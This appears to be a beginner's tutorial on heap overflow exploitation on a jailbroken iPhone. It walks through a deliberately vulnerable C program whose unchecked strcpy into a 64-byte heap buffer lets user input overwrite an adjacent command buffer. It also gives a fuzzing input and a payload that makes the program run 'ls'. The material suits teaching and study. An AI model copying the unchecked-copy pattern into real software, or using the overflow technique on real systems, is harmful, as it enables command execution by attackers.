Requirements:
Jailbroken iPhone with at least the following packages installed:
OpenSSH
lldb
Warm Up:
First, let’s start writing a simple heap vulnerable program.
Xcode 9 “prohibits” use of system() from iOS #9 on, thus I had to figure out an alternative way for running OS specific commands. Finally I could come up with posix_spawn. Below is our code:
//heapify.c
#import <stdio.h>
#import <string.h>
#import <stdlib.h>
#import <unistd.h>
#import <errno.h>
#include <spawn.h>
#include <sys/wait.h>
extern char **environ;
void run_cmd(char *cmd)
{
pid_t pid;
char *argv[] = {"sh", "-c", cmd, NULL};
int status;
printf("Run command: %s\n", cmd);
status = posix_spawn(&pid, "/bin/sh", NULL, NULL, argv, environ);
if (status == 0) {
printf("Child pid: %i\n", pid);
if (waitpid(pid, &status, 0) != -1) {
printf("Child exited with status %i\n", status);
} else {
perror("waitpid");
}
} else {
printf("posix_spawn: %s\n", strerror(status));
}
}
int main(int argc, char *argv[]){
if (argc <= 1){
printf("\x1B[31mUsage: ./heapify <username>\x1B[0m\n");
exit(0);
}
char *name = malloc(64);
char *command = malloc(64);
strcpy(command,"date");
strcpy(name,argv[1]);
printf("\x1B[36mUser: %s is executing command \"%s\"\n",name,command);
printf("\x1B[0m");
run_cmd(command);
return 0;
}
Action:
Now let’s compile it with the following command on MacOS:
clang -g heapify.c -o heapify -isysroot
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS14.4.sdk
-arch arm64 -mios-version-min=9.0 -
After compilation, transfer the “heapify” binary into the iOS platform. After connecting to the phone via SSH, you should make it runnable and signed.
chmod +x heapify
ldid -S heapify
Let’s run it and see the regular way of program flow.
Cool, it’s running on iOS without any problem.
We may wish to disassemble the binary and see that malloc function is actually at work here and allocates x40 (64) bytes memory. Strcpy function is obviously vulnerable:
For more info about lldb debugger, you can refer to: https://lldb.llvm.org/use/map.html
Knock out:
Now let’s do some fuzzing with the input of:
./heapify
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFFFFFGGGGGGGGGGHHHHHHHHHHIIIIIIIIIIJJJJJJJJJJKKKKKKKKKKLLLLLLLLLL
As you can see, the input is accepted to somewhere in the middle of ‘G’.
Now, let’s assign our own command instead of “name”:
./heapify
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFFFFFGGGGls
Bingo, our command is successfully injected.
References:
Heap Overflow Exploits for Beginners (ARM exploitation tutorial) by Billy Ellis.